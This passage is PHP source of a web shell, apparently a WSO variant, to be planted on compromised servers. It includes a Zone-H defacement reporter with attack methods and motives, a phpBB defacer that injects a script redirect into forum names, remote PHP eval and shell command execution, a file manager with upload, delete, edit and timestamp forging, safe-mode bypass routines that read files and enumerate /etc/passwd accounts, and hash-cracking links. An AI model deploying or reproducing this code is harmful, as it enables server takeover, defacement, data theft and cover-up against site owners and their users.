<option value="11" >Telnet Server intrusion</option> 
<option value="12" >RPC Server intrusion</option> 
<option value="13" >Shares misconfiguration</option> 
<option value="14" >Other Server intrusion</option> 
<option value="15" >SQL Injection</option> 
<option value="16" >URL Poisoning</option> 
<option value="17" >File Inclusion</option> 
<option value="18" >Other Web Application bug</option> 
<option value="19" >Remote administrative panel access bruteforcing</option> 
<option value="20" >Remote administrative panel access password guessing</option> 
<option value="21" >Remote administrative panel access social engineering</option> 
<option value="22" >Attack against administrator(password stealing/sniffing)</option> 
<option value="23" >Access credentials through Man In the Middle attack</option> 
<option value="24" >Remote service password guessing</option> 
<option value="25" >Remote service password bruteforce</option> 
<option value="26" >Rerouting after attacking the Firewall</option> 
<option value="27" >Rerouting after attacking the Router</option> 
<option value="28" >DNS attack through social engineering</option> 
<option value="29" >DNS attack through cache poisoning</option> 
<option value="30" >Not available</option> 
</select> 
<select name="reason" class="inputz" > 
<option >------------- Select ---------------</option> 
<option value="1" >Heh...just for fun!</option> 
<option value="2" >Revenge against that website</option> 
<option value="3" >Political reasons</option> 
<option value="4" >As a challenge</option> 
<option value="5" >I just want to be the best defacer</option> 
<option value="6" >Patriotism</option> 
<option value="7" >Not available</option> 
</select> 
<input type="hidden" name="action" value="zone"> 
<center><textarea name="domain" cols="116" rows="9" id="domains">-Jijle3 : Sites Here</textarea> 
<br /><input type="hidden" name="a" value="zoneh"><input class='inputzbut' type="submit" value="Send'it Please !" name="SendNowToZoneH" /><br></center></table> 
</form></td></tr></table></form> 
<!-- End Of Zone-H --> 
</td></center><br><br> 
<?php 
    echo '<center>';
    ob_start();
    $sub = get_loaded_extensions();
    if (!in_array("curl", $sub)) {
        die('[-] Curl Is Not Supported !! ');
    }
    $hacker = $_POST['defacer'];
    $method = $_POST['hackmode'];
    $neden = $_POST['reason'];
    $site = $_POST['domain'];
    if (empty($hacker)) {
        die("[-] You Must Fill the Attacker name !");
    } elseif ($method == "--------SELECT--------") {
        die("[-] You Must Select The Method !");
    } elseif ($neden == "--------SELECT--------") {
        die("[-] You Must Select The Reason");
    } elseif (empty($site)) {
        die("[-] You Must Inter the Sites List ! ");
    }
    $i = 0;
    $sites = explode("\n", $site);
    while ($i < count($sites)) {
        if (substr($sites[$i], 0, 4) != "http") {
            $sites[$i] = "http://" . $sites[$i];
        }
        ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
        echo "Site : " . $sites[$i] . " Defaced !\n";
        ++$i;
    }
    echo "[+] Sending Sites To Zone-H.org Has Been Completed Successfully ! ! ";
    echo '</center>';
    wsoFooter();
}
######################### phpbb defacer ###########################
function actionphpbb()
{
    wsoHeader();
    echo '<center><h1> PHPBB index Changer </h1> 
<form method = "POST"> 
<table border = "1" width="443" height="316" style="text-align: center" align="center"> 
<tr> 
<td height="105" width="780"> 
<p align="center"><b>Host : </b>  
<input type="text" name="f5" size="20" value="localhost">&nbsp;<b>  
DataBase&nbsp;:</b> <input type ="text" name = "f6" size="20"></p> 
<p align="center">&nbsp;<b>User :</b> <input type ="text" name = "f7" size="20"> 
<b>&nbsp;Password :</b>&nbsp; <input type ="text" name = "f8" size="20"><p align="center"> 
<b>Table Prefix:</b><br> 
<input type ="text" name = "f9" size="20" value="phpbb_forums"></td> 
</tr> 
<tr> 
<td height="167" width="780"><p align="center">&nbsp;<textarea name="index2" cols=50 rows=10> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI 
 </textarea><p align="center"><input type="hidden" name="a" value="phpbb"><input type = "submit" value = "Deface !">&nbsp;&nbsp;&nbsp;&nbsp; 
<input type = "reset" value = "Clear"></td> 
</tr> 
</tr>', $localhost2 = $_POST['f5'];
    $database2 = $_POST['f6'];
    $username2 = $_POST['f7'];
    $password2 = $_POST['f8'];
    $index2 = $_POST['index2'];
    $phpbb = $_POST['f9'];
    if ($database2 = $_POST['f6']) {
        $con2 = @mysql_connect($localhost2, $username2, $password2) or die;
        $db2 = @mysql_select_db($database2, $con2) or die;
        $query2 = "UPDATE {$phpbb} SET forum_name = '<script>location.href=\"{$index2}\"</script>'" or die;
        $result2 = @mysql_query($query2, $con2);
        if ($result2) {
            echo "<p align='center'> \r\n<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
        } else {
            echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
        }
    }
    //Greetz to FoX HACKER
    //Coded by Mr.511
    //x08d@hotmail.CoM
    wsoFooter();
}
##########################################################
function actionPhp()
{
    if (isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    wsoHeader();
    if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
        echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Exec style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
    if (!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    wsoFooter();
}
function actionFilesMan()
{
    wsoHeader();
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
    if (!empty($_POST['p1'])) {
        switch ($_POST['p1']) {
            case 'uploadFile':
                if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                    echo "Can't upload file!";
                }
                break;
            case 'mkdir':
                if (!@mkdir($_POST['p2'])) {
                    echo "Can't create new dir";
                }
                break;
            case 'delete':
                function deleteDir($path)
                {
                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                    $dh = opendir($path);
                    while (($item = readdir($dh)) !== false) {
                        $item = $path . $item;
                        if (basename($item) == ".." || basename($item) == ".") {
                            continue;
                        }
                        $type = filetype($item);
                        if ($type == "dir") {
                            deleteDir($item);
                        } else {
                            @unlink($item);
                        }
                    }
                    closedir($dh);
                    @rmdir($path);
                }
                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $f) {
                        if ($f == '..') {
                            continue;
                        }
                        $f = urldecode($f);
                        if (is_dir($f)) {
                            deleteDir($f);
                        } else {
                            @unlink($f);
                        }
                    }
                }
                break;
            case 'paste':
                if ($_SESSION['act'] == 'copy') {
                    function copy_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_SESSION['f'] as $f) {
                        copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
                    }
                } elseif ($_SESSION['act'] == 'move') {
                    function move_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (@is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_SESSION['f'] as $f) {
                        @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
                    }
                } elseif ($_SESSION['act'] == 'zip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_SESSION['c']);
                            foreach ($_SESSION['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                if (@is_file($_SESSION['c'] . $f)) {
                                    $zip->addFile($_SESSION['c'] . $f, $f);
                                } elseif (@is_dir($_SESSION['c'] . $f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
                                    foreach ($iterator as $key => $value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
                } elseif ($_SESSION['act'] == 'unzip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach ($_SESSION['f'] as $f) {
                            if ($zip->open($_SESSION['c'] . $f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
                } elseif ($_SESSION['act'] == 'tar') {
                    chdir($_SESSION['c']);
                    $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
                    chdir($GLOBALS['cwd']);
                }
                unset($_SESSION['f']);
                break;
            default:
                if (!empty($_POST['p1'])) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach ($_SESSION['f'] as $k => $f) {
                        $_SESSION['f'][$k] = urldecode($f);
                    }
                    $_SESSION['c'] = @$_POST['c'];
                }
                break;
        }
    }
    $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if ($dirContent === false) {
        echo 'Can\'t open this folder!';
        wsoFooter();
        return;
    }
    global $sort;
    $sort = array('name', 1);
    if (!empty($_POST['p1'])) {
        if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
            $sort = array($match[1], (int) $match[2]);
        }
    }
    echo "<script> \r\n    function sa() { \r\n        for(i=0;i<d.files.elements.length;i++) \r\n            if(d.files.elements[i].type == 'checkbox') \r\n                d.files.elements[i].checked = d.files.elements[0].checked; \r\n    } \r\n</script> \r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'> \r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);
    for ($i = 0; $i < $n; $i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
            $files[] = array_merge($tmp, array('type' => 'file'));
        } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
        } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
    }
    $GLOBALS['sort'] = $sort;
    function wsoCmp($a, $b)
    {
        if ($GLOBALS['sort'][0] != 'size') {
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
        } else {
            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
    }
    usort($files, "wsoCmp");
    usort($dirs, "wsoCmp");
    $files = array_merge($dirs, $files);
    $l = 0;
    foreach ($files as $f) {
        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
        $l = $l ? 0 : 1;
    }
    echo "<tr><td colspan=7> \r\n\r\n    <input type=hidden name=a value='FilesMan'> \r\n    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'> \r\n    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> \r\n    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if (class_exists('ZipArchive')) {
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    }
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
        echo "<option value='paste'>Paste / Compress</option>";
    }
    echo "</select>&nbsp;";
    if (!empty($_SESSION['act']) && @count($_SESSION['f']) && ($_SESSION['act'] == 'zip' || $_SESSION['act'] == 'tar')) {
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
    }
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
    wsoFooter();
}
########################## String ##############################
function actionStringTools()
{
    if (!function_exists('hex2bin')) {
        function hex2bin($p)
        {
            return decbin(hexdec($p));
        }
    }
    if (!function_exists('binhex')) {
        function binhex($p)
        {
            return dechex(bindec($p));
        }
    }
    if (!function_exists('hex2ascii')) {
        function hex2ascii($p)
        {
            $r = '';
            for ($i = 0; $i < strLen($p); $i += 2) {
                $r .= chr(hexdec($p[$i] . $p[$i + 1]));
            }
            return $r;
        }
    }
    if (!function_exists('ascii2hex')) {
        function ascii2hex($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= sprintf('%02X', ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    if (!function_exists('full_urlencode')) {
        function full_urlencode($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= '%' . dechex(ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
    if (isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
        ob_start();
        if (in_array($_POST['p1'], $stringTools)) {
            echo $_POST['p1']($_POST['p2']);
        }
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    wsoHeader();
    echo '<h1>String conversions</h1><div class=content>';
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach ($stringTools as $k => $v) {
        echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
    }
    echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
    if (!empty($_POST['p1'])) {
        if (in_array($_POST['p1'], $stringTools)) {
            echo htmlspecialchars($_POST['p1']($_POST['p2']));
        }
    }
    function wsoRecursiveGlob($path)
    {
        if (substr($path, -1) != '/') {
            $path .= '/';
        }
        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
        if (is_array($paths) && @count($paths)) {
            foreach ($paths as $item) {
                if (@is_dir($item)) {
                    if ($path != $item) {
                        wsoRecursiveGlob($item);
                    }
                } else {
                    if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) {
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
                    }
                }
            }
        }
    }
    if (@$_POST['p3']) {
        wsoRecursiveGlob($_POST['c']);
    }
    echo "</div><br><h1>Best Hash Search Engine :</h1><div class=content> \r\n\r\n        <form method='post' target='_blank' name='hf'> \r\n            <input type='text' name='hash' style='width:200px;'><br> \r\n            <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br> \r\n            <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br> \r\n            <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> \r\n            <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br> \r\n        </form></div>";
    wsoFooter();
}
function actionFilesTools()
{
    if (isset($_POST['p1'])) {
        $_POST['p1'] = urldecode($_POST['p1']);
    }
    if (@$_POST['p2'] == 'download') {
        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            } else {
                header("Content-Type: application/octet-stream");
            }
            $fp = @fopen($_POST['p1'], "r");
            if ($fp) {
                while (!@feof($fp)) {
                    echo @fread($fp, 1024);
                }
                fclose($fp);
            }
        }
        exit;
    }
    if (@$_POST['p2'] == 'mkfile') {
        if (!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if ($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    wsoHeader();
    echo '<h1>File Tools</h1><div class=content>';
    if (!file_exists(@$_POST['p1'])) {
        echo 'File not exists';
        wsoFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if (!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @filegroup($_POST['p1']);
    } else {
        $gid = @posix_getgrgid(@filegroup($_POST['p1']));
    }
    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
    echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
    if (empty($_POST['p2'])) {
        $_POST['p2'] = 'view';
    }
    if (is_file($_POST['p1'])) {
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    } else {
        $m = array('Chmod', 'Rename', 'Touch');
    }
    foreach ($m as $v) {
        echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
    }
    echo '<br><br>';
    switch ($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) {
                    echo htmlspecialchars(@fread($fp, 1024));
                }
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if (@is_readable($_POST['p1'])) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = @highlight_file($_POST['p1'], true);
                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
            }
            break;
        case 'chmod':
            if (!empty($_POST['p3'])) {
                $perms = 0;
                for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                    $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                }
                if (!@chmod($_POST['p1'], $perms)) {
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if (!is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if (!empty($_POST['p3'])) {
                $time = @filemtime($_POST['p1']);
                $_POST['p3'] = substr($_POST['p3'], 1);
                $fp = @fopen($_POST['p1'], "w");
                if ($fp) {
                    @fwrite($fp, $_POST['p3']);
                    @fclose($fp);
                    echo 'Saved!<br><script>p3_="";</script>';
                    @touch($_POST['p1'], $time, $time);
                }
            }
            echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) {
                    echo htmlspecialchars(@fread($fp, 1024));
                }
                @fclose($fp);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>', '', '');
            $len = strlen($c);
            for ($i = 0; $i < $len; ++$i) {
                $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                switch (ord($c[$i])) {
                    case 0:
                        $h[2] .= ' ';
                        break;
                    case 9:
                        $h[2] .= ' ';
                        break;
                    case 10:
                        $h[2] .= ' ';
                        break;
                    case 13:
                        $h[2] .= ' ';
                        break;
                    default:
                        $h[2] .= $c[$i];
                        break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i + 1 < $len) {
                        $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                    }
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
            }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
            break;
        case 'rename':
            if (!empty($_POST['p3'])) {
                if (!@rename($_POST['p1'], $_POST['p3'])) {
                    echo 'Can\'t rename!<br>';
                } else {
                    die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                }
            }
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if (!empty($_POST['p3'])) {
                $time = strtotime($_POST['p3']);
                if ($time) {
                    if (!touch($_POST['p1'], $time, $time)) {
                        echo 'Fail!';
                    } else {
                        echo 'Touched!';
                    }
                } else {
                    echo 'Bad time format!';
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
            break;
    }
    echo '</div>';
    wsoFooter();
}
function actionSafeMode()
{
    $temp = '';
    ob_start();
    switch ($_POST['p1']) {
        case 1:
            $temp = @tempnam($test, 'cx');
            if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                echo @file_get_contents($temp);
                unlink($temp);
            } else {
                echo 'Sorry... Can\'t open file';
            }
            break;
        case 2:
            $files = glob($_POST['p2'] . '*');
            if (is_array($files)) {
                foreach ($files as $filename) {
                    echo $filename . "\n";
                }
            }
            break;
        case 3:
            $ch = curl_init("file://" . $_POST['p2'] . "\0" . preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__));
            curl_exec($ch);
            break;
        case 4:
            ini_restore("safe_mode");
            ini_restore("open_basedir");
            include $_POST['p2'];
            break;
        case 5:
            for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                $uid = @posix_getpwuid($_POST['p2']);
                if ($uid) {
                    echo join(':', $uid) . "\n";
                }
            }
            break;
    }
    $temp = ob_get_clean();
    wsoHeader();
    echo '<h1>Safe mode bypass</h1><div class=content>';
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
    if ($temp) {
        echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
    }
    echo '</div>';
    wsoFooter();
}
function actionConsole()
{
    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
        $_POST['p1'] .= ' 2>&1';
    } elseif (!empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
    }
    if (isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
        ob_start();
        echo "d.cf.cmd.value='';\n";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));
        if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
            if (@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "c_='" . $GLOBALS['cwd'] . "';";
            }
        }
